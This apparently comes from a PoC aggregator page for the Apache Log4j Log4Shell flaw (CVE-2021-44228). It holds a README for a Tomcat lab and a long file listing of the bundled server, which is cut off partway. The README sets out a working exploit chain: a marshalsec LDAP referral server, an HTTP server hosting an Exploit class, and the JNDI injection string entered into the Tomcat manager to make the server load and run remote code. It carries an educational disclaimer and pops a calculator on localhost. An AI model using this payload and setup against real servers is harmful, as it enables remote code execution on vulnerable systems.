POC详情: df873d15e6481cd1818ee031ad867d27f4d36b82

来源
关联漏洞
标题: Apache Log4j 代码问题漏洞 (CVE-2021-44228)
描述:Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞,攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器,当该请求被打印成日志时就会触发远程代码执行。
描述
Log4j2 CVE-2021-44228 Vulnerability POC in Apache Tomcat
介绍
# Log4j2 CVE-2021-44228 Vulnerability POC in Apache Tomcat


## Preview
![GIF](./assets/images/log4jshell_tomcat.gif)


## Setup

### Start tomcat server
```
git clone
cd apache-tomcat-10.0.14/bin
startup.bat
```
### Serve the exploit class
```
cd exploit
py -m http.server 8888
```
```
cd exploit
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
```

### Attack
Input ${jndi:ldap://127.0.0.1:1389/Exploit} in the field 'XML Configuration file path' inside http://localhost:8080/manager/html manager app

Exploit class is loaded and RCE loaded (Calculator app will be opened)

## Disclaimer

The repo is just a POC done for educational purpose. The repo owner is not responsible for any damages done. As a moral note, Don't be evil.

## References
LDAP exploit https://github.com/mbechler/marshalsec
文件快照

[4.0K] /data/pocs/df873d15e6481cd1818ee031ad867d27f4d36b82 ├── [4.0K] apache-tomcat-10.0.14 │   ├── [ 13M] apache-log4j-2.12.1-bin.zip │   ├── [4.0K] bin │   │   ├── [ 34K] bootstrap.jar │   │   ├── [ 16K] catalina.bat │   │   ├── [ 24K] catalina.sh │   │   ├── [1.6K] catalina-tasks.xml │   │   ├── [2.0K] ciphers.bat │   │   ├── [2.0K] ciphers.sh │   │   ├── [ 25K] commons-daemon.jar │   │   ├── [1.9K] configtest.bat │   │   ├── [1.9K] configtest.sh │   │   ├── [8.6K] daemon.sh │   │   ├── [2.0K] digest.bat │   │   ├── [1.9K] digest.sh │   │   ├── [3.4K] makebase.bat │   │   ├── [3.3K] makebase.sh │   │   ├── [2.0K] migrate.bat │   │   ├── [1.9K] migrate.sh │   │   ├── [8.5K] service.bat │   │   ├── [3.3K] setclasspath.bat │   │   ├── [3.6K] setclasspath.sh │   │   ├── [1.9K] shutdown.bat │   │   ├── [1.9K] shutdown.sh │   │   ├── [1.9K] startup.bat │   │   ├── [1.9K] startup.sh │   │   ├── [2.5M] tcnative-1.dll │   │   ├── [128K] tomcat10.exe │   │   ├── [118K] tomcat10w.exe │   │   ├── [ 46K] tomcat-juli.jar │   │   ├── [4.4K] tool-wrapper.bat │   │   ├── [5.4K] tool-wrapper.sh │   │   ├── [1.9K] version.bat │   │   └── [1.9K] version.sh │   ├── [ 19K] BUILDING.txt │   ├── [4.0K] conf │   │   ├── [ 13K] catalina.policy │   │   ├── [7.1K] catalina.properties │   │   ├── [1.4K] context.xml │   │   ├── [1.1K] jaspic-providers.xml │   │   ├── [2.3K] jaspic-providers.xsd │   │   ├── [4.0K] logging.properties │   │   ├── [7.2K] server.xml │   │   ├── [2.7K] tomcat-users.xml │   │   ├── [2.5K] tomcat-users.xsd │   │   └── [169K] web.xml │   ├── [6.1K] CONTRIBUTING.md │   ├── [4.0K] lib │   │   ├── [ 13K] annotations-api.jar │   │   ├── [ 53K] catalina-ant.jar │   │   ├── [120K] catalina-ha.jar │   │   ├── [1.6M] catalina.jar │   │   ├── [ 61K] catalina-ssi.jar │   │   ├── [ 76K] catalina-storeconfig.jar │   │   ├── [312K] catalina-tribes.jar │   │   ├── [3.0M] ecj-4.20.jar │   │   ├── [ 87K] el-api.jar │   │   ├── [490K] jakartaee-migration-1.0.0-shaded.jar │   │   ├── [168K] jasper-el.jar │   │   ├── [553K] jasper.jar │   │   ├── [ 27K] jaspic-api.jar │   │   ├── [ 63K] jsp-api.jar │   │   ├── [328K] servlet-api.jar │   │   ├── [ 11K] tomcat-api.jar │   │   ├── [889K] tomcat-coyote.jar │   │   ├── [334K] tomcat-dbcp.jar │   │   ├── [ 67K] tomcat-i18n-cs.jar │   │   ├── [ 72K] tomcat-i18n-de.jar │   │   ├── [100K] tomcat-i18n-es.jar │   │   ├── [162K] tomcat-i18n-fr.jar │   │   ├── [184K] tomcat-i18n-ja.jar │   │   ├── [184K] tomcat-i18n-ko.jar │   │   ├── [ 50K] tomcat-i18n-pt-BR.jar │   │   ├── [ 46K] tomcat-i18n-ru.jar │   │   ├── [169K] tomcat-i18n-zh-CN.jar │   │   ├── [146K] tomcat-jdbc.jar │   │   ├── [ 37K] tomcat-jni.jar │   │   ├── [203K] tomcat-util.jar │   │   ├── [218K] tomcat-util-scan.jar │   │   ├── [236K] tomcat-websocket.jar │   │   └── [ 40K] websocket-api.jar │   ├── [ 59K] LICENSE │   ├── [4.0K] log4j2 │   │   ├── [4.0K] conf │   │   │   ├── [2.4K] log4j2-tomcat.properties.bak │   │   │   └── [3.1K] log4j2-tomcat.xml │   │   └── [4.0K] lib │   │   ├── [270K] log4j-api-2.12.1.jar │   │   ├── [ 15K] log4j-appserver-2.12.1.jar │   │   └── [1.6M] log4j-core-2.12.1.jar │   ├── [2.3K] NOTICE │   ├── [3.3K] README.md │   ├── [6.7K] RELEASE-NOTES │   ├── [ 16K] RUNNING.txt │   ├── [4.0K] webapps │   │   ├── [4.0K] docs │   │   │   ├── [6.8K] aio.html │   │   │   ├── [4.0K] annotationapi │   │   │   │   └── [1.1K] index.html │   │   │   ├── [4.0K] api │   │   │   │   └── [1.1K] index.html │   │   │   ├── [4.0K] appdev │   │   │   │   ├── [ 16K] build.xml.txt │   │   │   │   ├── [ 13K] deployment.html │   │   │   │   ├── [3.8K] index.html │   │   │   │   ├── [4.7K] installation.html │   │   │   │   ├── [4.5K] introduction.html │   │   │   │   ├── [ 14K] processes.html │   │   │   │   ├── [4.0K] sample │   │   │   │   │   ├── [ 16K] build.xml │   │   │   │   │   ├── [4.0K] docs │   │   │   │   │   │   └── [ 840] README.txt │   │   │   │   │   ├── [2.2K] index.html │   │   │   │   │   ├── [4.5K] sample.war │   │   │   │   │   ├── [4.0K] src │   │   │   │   │   │   └── [4.0K] mypackage │   │   │   │   │   │   └── [2.9K] Hello.java │   │   │   │   │   └── [4.0K] web │   │   │   │   │   ├── [1.2K] hello.jsp │   │   │   │   │   ├── [4.0K] images │   │   │   │   │   │   └── [2.0K] tomcat.gif │   │   │   │   │   ├── [1.4K] index.html │   │   │   │   │   └── [4.0K] WEB-INF │   │   │   │   │   └── [1.6K] web.xml │   │   │   │   ├── [ 17K] source.html │   │   │   │   └── [6.1K] web.xml.txt │   │   │   ├── [ 11K] apr.html │   │   │   ├── [4.0K] architecture │   │   │   │   ├── [2.8K] index.html │   │   │   │   ├── [5.8K] overview.html │   │   │   │   ├── [4.0K] requestProcess │   │   │   │   │   ├── [ 42K] authentication-process.png │   │   │   │   │   └── [107K] request-process.png │   │   │   │   ├── [2.8K] requestProcess.html │   │   │   │   ├── [4.0K] startup │   │   │   │   │   ├── [ 45K] serverStartup.pdf │   │   │   │   │   └── [8.3K] serverStartup.txt │   │   │   │   └── [2.7K] startup.html │   │   │   ├── [5.4K] balancer-howto.html │   │   │   ├── [ 13K] building.html │   │   │   ├── [ 19K] BUILDING.txt │   │   │   ├── [ 11K] cdi.html │   │   │   ├── [ 11K] cgi-howto.html │   │   │   ├── [175K] changelog.html │   │   │   ├── [ 17K] class-loader-howto.html │   │   │   ├── [ 42K] cluster-howto.html │   │   │   ├── [7.9K] comments.html │   │   │   ├── [4.0K] config │   │   │   │   ├── [ 47K] ajp.html │   │   │   │   ├── [ 20K] automatic-deployment.html │   │   │   │   ├── [9.2K] cluster-channel.html │   │   │   │   ├── [7.2K] cluster-deployer.html │   │   │   │   ├── [ 14K] cluster.html │   │   │   │   ├── [ 23K] cluster-interceptor.html │   │   │   │   ├── [4.9K] cluster-listener.html │   │   │   │   ├── [ 20K] cluster-manager.html │   │   │   │   ├── [ 19K] cluster-membership.html │   │   │   │   ├── [ 12K] cluster-receiver.html │   │   │   │   ├── [ 12K] cluster-sender.html │   │   │   │   ├── [ 12K] cluster-valve.html │   │   │   │   ├── [ 76K] context.html │   │   │   │   ├── [ 12K] cookie-processor.html │   │   │   │   ├── [ 12K] credentialhandler.html │   │   │   │   ├── [ 14K] engine.html │   │   │   │   ├── [8.4K] executor.html │   │   │   │   ├── [ 91K] filter.html │   │   │   │   ├── [ 15K] globalresources.html │   │   │   │   ├── [ 37K] host.html │   │   │   │   ├── [ 13K] http2.html │   │   │   │   ├── [ 93K] http.html │   │   │   │   ├── [6.7K] index.html │   │   │   │   ├── [ 10K] jar-scan-filter.html │   │   │   │   ├── [8.4K] jar-scanner.html │   │   │   │   ├── [ 11K] jaspic.html │   │   │   │   ├── [ 31K] listeners.html │   │   │   │   ├── [8.3K] loader.html │   │   │   │   ├── [ 32K] manager.html │   │   │   │   ├── [ 59K] realm.html │   │   │   │   ├── [ 19K] resources.html │   │   │   │   ├── [8.6K] server.html │   │   │   │   ├── [6.9K] service.html │   │   │   │   ├── [7.6K] sessionidgenerator.html │   │   │   │   ├── [ 24K] systemprops.html │   │   │   │   └── [127K] valve.html │   │   │   ├── [6.5K] connectors.html │   │   │   ├── [ 18K] default-servlet.html │   │   │   ├── [ 20K] deployer-howto.html │   │   │   ├── [6.4K] developers.html │   │   │   ├── [4.0K] elapi │   │   │   │   └── [1.1K] index.html │   │   │   ├── [ 12K] graal.html │   │   │   ├── [ 14K] host-manager-howto.html │   │   │   ├── [ 12K] html-host-manager-howto.html │   │   │   ├── [ 27K] html-manager-howto.html │   │   │   ├── [4.0K] images │   │   │   │   ├── [1.0K] add.gif │   │   │   │   ├── [ 20K] asf-logo.svg │   │   │   │   ├── [ 394] code.gif │   │   │   │   ├── [ 85K] cors-flowchart.png │   │   │   │   ├── [ 608] design.gif │   │   │   │   ├── [ 261] docs.gif │   │   │   │   ├── [5.6K] docs-stylesheet.css │   │   │   │   ├── [ 345] fix.gif │   │   │   │   ├── [4.0K] fonts │   │   │   │   │   ├── [1.9K] fonts.css │   │   │   │   │   ├── [ 21K] OpenSans400italic.woff │   │   │   │   │   ├── [ 21K] OpenSans400.woff │   │   │   │   │   ├── [ 21K] OpenSans600italic.woff │   │   │   │   │   ├── [ 22K] OpenSans600.woff │   │   │   │   │   ├── [ 21K] OpenSans700italic.woff │   │   │   │   │   └── [ 22K] OpenSans700.woff │   │   │   │   ├── [2.0K] tomcat.gif │   │   │   │   ├── [5.0K] tomcat.png │   │   │   │   ├── [ 627] update.gif │   │   │   │   └── [ 43] void.gif │   │   │   ├── [ 14K] index.html │   │   │   ├── [ 15K] introduction.html │   │   │   ├── [ 27K] jasper-howto.html │   │   │   ├── [4.0K] jaspicapi │   │   │   │   └── [1.1K] index.html │   │   │   ├── [ 64K] jdbc-pool.html │   │   │   ├── [ 33K] jndi-datasource-examples-howto.html │   │   │   ├── [ 59K] jndi-resources-howto.html │   │   │   ├── [4.0K] jspapi │   │   │   │   └── [1.1K] index.html │   │   │   ├── [ 23K] logging.html │   │   │   ├── [ 73K] manager-howto.html │   │   │   ├── [5.9K] maven-jars.html │   │   │   ├── [ 11K] mbeans-descriptors.dtd │   │   │   ├── [6.2K] mbeans-descriptors-howto.html │   │   │   ├── [ 37K] monitoring.html │   │   │   ├── [ 11K] proxy-howto.html │   │   │   ├── [ 55K] realm-howto.html │   │   │   ├── [6.7K] RELEASE-NOTES.txt │   │   │   ├── [ 36K] rewrite.html │   │   │   ├── [ 16K] RUNNING.txt │   │   │   ├── [ 35K] security-howto.html │   │   │   ├── [ 27K] security-manager-howto.html │   │   │   ├── [4.0K] servletapi │   │   │   │   └── [1.1K] index.html │   │   │   ├── [ 12K] setup.html │   │   │   ├── [ 18K] ssi-howto.html │   │   │   ├── [ 40K] ssl-howto.html │   │   │   ├── [4.0K] tribes │   │   │   │   ├── [2.2K] developers.html │   │   │   │   ├── [2.2K] faq.html │   │   │   │   ├── [2.2K] interceptors.html │   │   │   │   ├── [ 16K] introduction.html │   │   │   │   ├── [2.2K] membership.html │   │   │   │   ├── [2.2K] setup.html │   │   │   │   ├── [2.2K] status.html │   │   │   │   └── [2.2K] transport.html │   │   │   ├── [9.8K] virtual-hosting-howto.html │   │   │   ├── [4.0K] WEB-INF │   │   │   │   └── [1.2K] web.xml │   │   │   ├── [4.0K] websocketapi │   │   │   │   └── [1.1K] index.html │   │   │   ├── [ 11K] web-socket-howto.html │   │   │   ├── [ 20K] windows-auth-howto.html │   │   │   └── [ 21K] windows-service-howto.html │   │   ├── [4.0K] examples │   │   │   ├── [1.1K] index.html │   │   │   ├── [4.0K] jsp │   │   │   │   ├── [4.0K] async │   │   │   │   │   ├── [1.2K] async1.jsp │   │   │   │   │   ├── [1.3K] async1.jsp.html │   │   │   │   │   ├── [1.1K] async3.jsp │   │   │   │   │   ├── [1.2K] async3.jsp.html │   │   │   │   │   ├── [2.4K] index.jsp │   │   │   │   │   └── [2.5K] index.jsp.html │   │   │   │   ├── [4.0K] cal │   │   │   │   │   ├── [2.3K] cal1.jsp │   │   │   │   │   ├── [2.6K] cal1.jsp.html │   │   │   │   │   ├── [1.5K] cal2.jsp │   │   │   │   │   ├── [1.7K] cal2.jsp.html │   │   │   │   │   ├── [1.6K] calendar.html │   │   │   │   │   ├── [2.0K] Entries.java.html │   │   │   │   │   ├── [1.5K] Entry.java.html │   │   │   │   │   ├── [4.0K] JspCalendar.java.html │   │   │   │   │   ├── [1.5K] login.html │   │   │   │   │   └── [3.0K] TableBean.java.html │   │   │   │   ├── [4.0K] checkbox │   │   │   │   │   ├── [1.2K] check.html │   │   │   │   │   ├── [1.6K] checkresult.jsp │   │   │   │   │   ├── [1.8K] checkresult.jsp.html │   │   │   │   │   ├── [1.4K] CheckTest.html │   │   │   │   │   └── [1.4K] cresult.html │   │   │   │   ├── [4.0K] colors │   │   │   │   │   ├── [1.4K] clr.html │   │   │   │   │   ├── [2.4K] ColorGameBean.html │   │   │   │   │   ├── [1.5K] colors.html │   │   │   │   │   ├── [1.6K] colrs.jsp │   │   │   │   │   └── [1.9K] colrs.jsp.html │   │   │   │   ├── [4.0K] dates │   │   │   │   │   ├── [1.3K] date.html │   │   │   │   │   ├── [1.7K] date.jsp │   │   │   │   │   └── [1.9K] date.jsp.html │   │   │   │   ├── [4.0K] error │   │   │   │   │   ├── [1.3K] er.html │   │   │   │   │   ├── [1.4K] err.jsp │   │   │   │   │   ├── [1.5K] err.jsp.html │   │   │   │   │   ├── [1.3K] error.html │   │   │   │   │   ├── [ 965] errorpge.jsp │   │   │   │   │   └── [1.1K] errorpge.jsp.html │   │   │   │   ├── [4.0K] forward │   │   │   │   │   ├── [1.0K] forward.jsp │   │   │   │   │   ├── [1.2K] forward.jsp.html │   │   │   │   │   ├── [1.3K] fwd.html │   │   │   │   │   ├── [ 872] one.jsp │   │   │   │   │   ├── [1007] one.jsp.html │   │   │   │   │   └── [ 871] two.html │   │   │   │   ├── [4.0K] images │   │   │   │   │   ├── [ 292] code.gif │   │   │   │   │   ├── [1.2K] execute.gif │   │   │   │   │   └── [1.2K] return.gif │   │   │   │   ├── [4.0K] include │   │   │   │   │   ├── [ 817] foo.html │   │   │   │   │   ├── [ 822] foo.jsp │   │   │   │   │   ├── [ 943] foo.jsp.html │   │   │   │   │   ├── [1.3K] inc.html │   │   │   │   │   ├── [1.1K] include.jsp │   │   │   │   │   └── [1.2K] include.jsp.html │   │   │   │   ├── [ 14K] index.html │   │   │   │   ├── [4.0K] jsp2 │   │   │   │   │   ├── [4.0K] el │   │   │   │   │   │   ├── [1.3K] basic-arithmetic.html │   │   │   │   │   │   ├── [2.3K] basic-arithmetic.jsp │   │   │   │   │   │   ├── [2.7K] basic-arithmetic.jsp.html │   │   │   │   │   │   ├── [1.3K] basic-comparisons.html │   │   │   │   │   │   ├── [3.1K] basic-comparisons.jsp │   │   │   │   │   │   ├── [3.7K] basic-comparisons.jsp.html │   │   │   │   │   │   ├── [1.4K] composite.html │   │   │   │   │   │   ├── [3.9K] composite.jsp │   │   │   │   │   │   ├── [4.5K] composite.jsp.html │   │   │   │   │   │   ├── [1.4K] functions.html │   │   │   │   │   │   ├── [1.6K] Functions.java.html │   │   │   │   │   │   ├── [2.4K] functions.jsp │   │   │   │   │   │   ├── [2.7K] functions.jsp.html │   │   │   │   │   │   ├── [1.3K] implicit-objects.html │   │   │   │   │   │   ├── [3.4K] implicit-objects.jsp │   │   │   │   │   │   ├── [3.8K] implicit-objects.jsp.html │   │   │   │   │   │   ├── [1.5K] ValuesBean.java.html │   │   │   │   │   │   └── [2.6K] ValuesTag.java.html │   │   │   │   │   ├── [4.0K] jspattribute │   │   │   │   │   │   ├── [1.1K] FooBean.java.html │   │   │   │   │   │   ├── [1.3K] HelloWorldSimpleTag.java.html │   │   │   │   │   │   ├── [1.5K] jspattribute.html │   │   │   │   │   │   ├── [1.8K] jspattribute.jsp │   │   │   │   │   │   ├── [2.0K] jspattribute.jsp.html │   │   │   │   │   │   ├── [1.5K] shuffle.html │   │   │   │   │   │   ├── [3.4K] shuffle.jsp │   │   │   │   │   │   ├── [3.7K] shuffle.jsp.html │   │   │   │   │   │   ├── [2.9K] ShuffleSimpleTag.java.html │   │   │   │   │   │   └── [1.7K] TileSimpleTag.java.html │   │   │   │   │   ├── [4.0K] jspx │   │   │   │   │   │   ├── [1.2K] basic.html │   │   │   │   │   │   ├── [2.2K] basic.jspx │   │   │   │   │   │   ├── [2.3K] basic.jspx.html │   │   │   │   │   │   ├── [2.0K] svgexample.html │   │   │   │   │   │   ├── [1.2K] textRotate.html │   │   │   │   │   │   ├── [ 26K] textRotate.jpg │   │   │   │   │   │   ├── [2.4K] textRotate.jspx │   │   │   │   │   │   └── [2.6K] textRotate.jspx.html │   │   │   │   │   ├── [4.0K] misc │   │   │   │   │   │   ├── [ 864] coda.jspf │   │   │   │   │   │   ├── [1002] coda.jspf.html │   │   │   │   │   │   ├── [1.5K] config.html │   │   │   │   │   │   ├── [1.6K] config.jsp │   │   │   │   │   │   ├── [1.8K] config.jsp.html │   │   │   │   │   │   ├── [1.4K] dynamicattrs.html │   │   │   │   │   │   ├── [1.6K] dynamicattrs.jsp │   │   │   │   │   │   ├── [1.8K] dynamicattrs.jsp.html │   │   │   │   │   │   ├── [2.0K] EchoAttributesTag.java.html │   │   │   │   │   │   ├── [ 867] prelude.jspf │   │   │   │   │   │   └── [1005] prelude.jspf.html │   │   │   │   │   ├── [4.0K] simpletag │   │   │   │   │   │   ├── [1.4K] BookBean.java.html │   │   │   │   │   │   ├── [1.6K] book.html │   │   │   │   │   │   ├── [1.8K] book.jsp │   │   │   │   │   │   ├── [2.1K] book.jsp.html │   │   │   │   │   │   ├── [1.7K] FindBookSimpleTag.java.html │   │   │   │   │   │   ├── [1.6K] Functions.java.html │   │   │   │   │   │   ├── [1.4K] hello.html │   │   │   │   │   │   ├── [1.2K] hello.jsp │   │   │   │   │   │   ├── [1.4K] hello.jsp.html │   │   │   │   │   │   ├── [1.3K] HelloWorldSimpleTag.java.html │   │   │   │   │   │   ├── [1.4K] repeat.html │   │   │   │   │   │   ├── [1.7K] repeat.jsp │   │   │   │   │   │   ├── [1.9K] repeat.jsp.html │   │   │   │   │   │   └── [1.5K] RepeatSimpleTag.java.html │   │   │   │   │   └── [4.0K] tagfiles │   │   │   │   │   ├── [2.2K] displayProducts.tag.html │   │   │   │   │   ├── [1.4K] hello.html │   │   │   │   │   ├── [1.4K] hello.jsp │   │   │   │   │   ├── [1.6K] hello.jsp.html │   │   │   │   │   ├── [ 919] helloWorld.tag.html │   │   │   │   │   ├── [1.4K] panel.html │   │   │   │   │   ├── [2.1K] panel.jsp │   │   │   │   │   ├── [2.3K] panel.jsp.html │   │   │   │   │   ├── [1.2K] panel.tag.html │   │   │   │   │   ├── [1.4K] products.html │   │   │   │   │   ├── [2.0K] products.jsp │   │   │   │   │   └── [2.3K] products.jsp.html │   │   │   │   ├── [4.0K] jsptoserv │   │   │   │   │   ├── [ 936] hello.jsp │   │   │   │   │   ├── [1.0K] hello.jsp.html │   │   │   │   │   ├── [ 894] jsptoservlet.jsp │   │   │   │   │   ├── [1.0K] jsptoservlet.jsp.html │   │   │   │   │   ├── [1.3K] jts.html │   │   │   │   │   └── [1.6K] ServletToJsp.java.html │   │   │   │   ├── [4.0K] num │   │   │   │   │   ├── [1.4K] numguess.html │   │   │   │   │   ├── [1.9K] numguess.jsp │   │   │   │   │   └── [2.1K] numguess.jsp.html │   │   │   │   ├── [4.0K] plugin │   │   │   │   │   ├── [4.0K] applet │   │   │   │   │   │   ├── [5.7K] Clock2.class │   │   │   │   │   │   └── [7.6K] Clock2.java │   │   │   │   │   ├── [1.3K] plugin.html │   │   │   │   │   ├── [1.2K] plugin.jsp │   │   │   │   │   └── [1.4K] plugin.jsp.html │   │   │   │   ├── [4.0K] security │   │   │   │   │   └── [4.0K] protected │   │   │   │   │   ├── [1.0K] error.jsp │   │   │   │   │   ├── [1.2K] error.jsp.html │   │   │   │   │   ├── [3.1K] index.jsp │   │   │   │   │   ├── [3.4K] index.jsp.html │   │   │   │   │   ├── [1.4K] login.jsp │   │   │   │   │   └── [1.6K] login.jsp.html │   │   │   │   ├── [4.0K] sessions │   │   │   │   │   ├── [1.3K] carts.html │   │   │   │   │   ├── [1.2K] carts.jsp │   │   │   │   │   ├── [1.4K] carts.jsp.html │   │   │   │   │   ├── [1.4K] crt.html │   │   │   │   │   └── [1.4K] DummyCart.html │   │   │   │   ├── [4.0K] simpletag │   │   │   │   │   ├── [1.3K] foo.html │   │   │   │   │   ├── [1.1K] foo.jsp │   │   │   │   │   └── [1.3K] foo.jsp.html │   │   │   │   ├── [4.0K] snp │   │   │   │   │   ├── [1.3K] snoop.html │   │   │   │   │   ├── [2.0K] snoop.jsp │   │   │   │   │   └── [2.2K] snoop.jsp.html │   │   │   │   ├── [4.0K] tagplugin │   │   │   │   │   ├── [1.2K] choose.html │   │   │   │   │   ├── [1.6K] choose.jsp │   │   │   │   │   ├── [1.8K] choose.jsp.html │   │   │   │   │   ├── [1.2K] foreach.html │   │   │   │   │   ├── [1.6K] foreach.jsp │   │   │   │   │   ├── [1.8K] foreach.jsp.html │   │   │   │   │   ├── [1.6K] howto.html │   │   │   │   │   ├── [1.2K] if.html │   │   │   │   │   ├── [1.5K] if.jsp │   │   │   │   │   ├── [1.7K] if.jsp.html │   │   │   │   │   └── [1.6K] notes.html │   │   │   │   └── [4.0K] xml │   │   │   │   ├── [1.3K] xml.html │   │   │   │   ├── [2.0K] xml.jsp │   │   │   │   └── [2.2K] xml.jsp.html │   │   │   ├── [4.0K] META-INF │   │   │   │   └── [ 977] context.xml │   │   │   ├── [4.0K] servlets │   │   │   │   ├── [2.6K] cookies.html │   │   │   │   ├── [2.5K] helloworld.html │   │   │   │   ├── [4.0K] images │   │   │   │   │   ├── [ 292] code.gif │   │   │   │   │   ├── [1.2K] execute.gif │   │   │   │   │   └── [1.2K] return.gif │   │   │   │   ├── [6.4K] index.html │   │   │   │   ├── [4.0K] nonblocking │   │   │   │   │   └── [1.4K] bytecounter.html │   │   │   │   ├── [2.2K] reqheaders.html │   │   │   │   ├── [3.5K] reqinfo.html │   │   │   │   ├── [4.6K] reqparams.html │   │   │   │   └── [3.1K] sessions.html │   │   │   ├── [4.0K] WEB-INF │   │   │   │   ├── [4.0K] classes │   │   │   │   │   ├── [4.0K] async │   │   │   │   │   │   ├── [1.8K] Async0$1.class │   │   │   │   │   │   ├── [2.9K] Async0.class │   │   │   │   │   │   ├── [2.9K] Async0.java │   │   │   │   │   │   ├── [1.7K] Async1$1.class │   │   │   │   │   │   ├── [1.5K] Async1.class │   │   │   │   │   │   ├── [2.2K] Async1.java │   │   │   │   │   │   ├── [2.3K] Async2$1.class │   │   │   │   │   │   ├── [1.5K] Async2.class │   │   │   │   │   │   ├── [2.6K] Async2.java │   │   │   │   │   │   ├── [1.0K] Async3.class │   │   │   │   │   │   ├── [1.4K] Async3.java │   │   │   │   │   │   ├── [1.2K] AsyncStockContextListener.class │   │   │   │   │   │   ├── [1.7K] AsyncStockContextListener.java │   │   │   │   │   │   ├── [5.0K] AsyncStockServlet.class │   │   │   │   │   │   ├── [4.9K] AsyncStockServlet.java │   │   │   │   │   │   ├── [2.6K] Stockticker$Stock.class │   │   │   │   │   │   ├── [ 307] Stockticker$TickListener.class │   │   │   │   │   │   ├── [3.3K] Stockticker.class │   │   │   │   │   │   └── [6.5K] Stockticker.java │   │   │   │   │   ├── [4.0K] cal │   │   │   │   │   │   ├── [2.0K] Entries.class │   │   │   │   │   │   ├── [1.9K] Entries.java │   │   │   │   │   │   ├── [ 911] Entry.class │   │   │   │   │   │   ├── [1.4K] Entry.java │   │   │   │   │   │   ├── [3.4K] JspCalendar.class │   │   │   │   │   │   ├── [3.9K] JspCalendar.java │   │   │   │   │   │   ├── [2.5K] TableBean.class │   │   │   │   │   │   └── [2.9K] TableBean.java │   │   │   │   │   ├── [4.0K] checkbox │   │   │   │   │   │   ├── [ 604] CheckTest.class │   │   │   │   │   │   └── [1013] CheckTest.java │   │   │   │   │   ├── [4.0K] colors │   │   │   │   │   │   ├── [2.1K] ColorGameBean.class │   │   │   │   │   │   └── [2.9K] ColorGameBean.java │   │   │   │   │   ├── [4.0K] compressionFilters │   │   │   │   │   │   ├── [4.9K] CompressionFilter.class │   │   │   │   │   │   ├── [7.9K] CompressionFilter.java │   │   │   │   │   │   ├── [2.0K] CompressionFilterTestServlet.class │   │   │   │   │   │   ├── [2.3K] CompressionFilterTestServlet.java │   │   │   │   │   │   ├── [6.5K] CompressionResponseStream.class │   │   │   │   │   │   ├── [ 13K] CompressionResponseStream.java │   │   │   │   │   │   ├── [5.2K] CompressionServletResponseWrapper.class │   │   │   │   │   │   └── [8.3K] CompressionServletResponseWrapper.java │   │   │   │   │   ├── [4.4K] CookieExample.class │   │   │   │   │   ├── [5.0K] CookieExample.java │   │   │   │   │   ├── [4.0K] dates │   │   │   │   │   │   ├── [4.0K] JspCalendar.class │   │   │   │   │   │   └── [4.1K] JspCalendar.java │   │   │   │   │   ├── [4.0K] error │   │   │   │   │   │   ├── [ 521] Smart.class │   │   │   │   │   │   └── [ 997] Smart.java │   │   │   │   │   ├── [4.0K] examples │   │   │   │   │   │   ├── [1.4K] ExampleTagBase.class │   │   │   │   │   │   ├── [2.0K] ExampleTagBase.java │   │   │   │   │   │   ├── [2.0K] FooTag.class │   │   │   │   │   │   ├── [ 668] FooTagExtraInfo.class │   │   │   │   │   │   ├── [1.3K] FooTagExtraInfo.java │   │   │   │   │   │   ├── [2.3K] FooTag.java │   │   │   │   │   │   ├── [1.6K] LogTag.class │   │   │   │   │   │   ├── [1.8K] LogTag.java │   │   │   │   │   │   ├── [2.0K] ValuesTag.class │   │   │   │   │   │   └── [2.5K] ValuesTag.java │   │   │   │   │   ├── [4.0K] filters │   │   │   │   │   │   ├── [2.0K] ExampleFilter.class │   │   │   │   │   │   └── [3.2K] ExampleFilter.java │   │   │   │   │   ├── [2.2K] HelloWorldExample.class │   │   │   │   │   ├── [2.8K] HelloWorldExample.java │   │   │   │   │   ├── [4.0K] http2 │   │   │   │   │   │   ├── [2.0K] SimpleImagePush.class │   │   │   │   │   │   └── [2.2K] SimpleImagePush.java │   │   │   │   │   ├── [4.0K] jsp2 │   │   │   │   │   │   └── [4.0K] examples │   │   │   │   │   │   ├── [ 736] BookBean.class │   │   │   │   │   │   ├── [1.3K] BookBean.java │   │   │   │   │   │   ├── [4.0K] el │   │   │   │   │   │   │   ├── [1.1K] Functions.class │   │   │   │   │   │   │   └── [1.5K] Functions.java │   │   │   │   │   │   ├── [ 554] FooBean.class │   │   │   │   │   │   ├── [1.0K] FooBean.java │   │   │   │   │   │   ├── [4.0K] simpletag │   │   │   │   │   │   │   ├── [1.9K] EchoAttributesTag.class │   │   │   │   │   │   │   ├── [1.9K] EchoAttributesTag.java │   │   │   │   │   │   │   ├── [1.1K] FindBookSimpleTag.class │   │   │   │   │   │   │   ├── [1.6K] FindBookSimpleTag.java │   │   │   │   │   │   │   ├── [ 776] HelloWorldSimpleTag.class │   │   │   │   │   │   │   ├── [1.2K] HelloWorldSimpleTag.java │   │   │   │   │   │   │   ├── [1.1K] RepeatSimpleTag.class │   │   │   │   │   │   │   ├── [1.4K] RepeatSimpleTag.java │   │   │   │   │   │   │   ├── [1.5K] ShuffleSimpleTag.class │   │   │   │   │   │   │   ├── [2.8K] ShuffleSimpleTag.java │   │   │   │   │   │   │   ├── [1.2K] TileSimpleTag.class │   │   │   │   │   │   │   └── [1.5K] TileSimpleTag.java │   │   │   │   │   │   ├── [ 983] ValuesBean.class │   │   │   │   │   │   └── [1.4K] ValuesBean.java │   │   │   │   │   ├── [4.0K] listeners │   │   │   │   │   │   ├── [2.2K] ContextListener.class │   │   │   │   │   │   ├── [3.7K] ContextListener.java │   │   │   │   │   │   ├── [2.8K] SessionListener.class │   │   │   │   │   │   └── [4.6K] SessionListener.java │   │   │   │   │   ├── [1.1K] LocalStrings_cs.properties │   │   │   │   │   ├── [1.2K] LocalStrings_de.properties │   │   │   │   │   ├── [2.0K] LocalStrings_es.properties │   │   │   │   │   ├── [2.2K] LocalStrings_fr.properties │   │   │   │   │   ├── [2.9K] LocalStrings_ja.properties │   │   │   │   │   ├── [2.7K] LocalStrings_ko.properties │   │   │   │   │   ├── [1.9K] LocalStrings.properties │   │   │   │   │   ├── [ 853] LocalStrings_pt_BR.properties │   │   │   │   │   ├── [2.0K] LocalStrings_pt.properties │   │   │   │   │   ├── [ 943] LocalStrings_ru.properties │   │   │   │   │   ├── [2.4K] LocalStrings_zh_CN.properties │   │   │   │   │   ├── [4.0K] nonblocking │   │   │   │   │   │   ├── 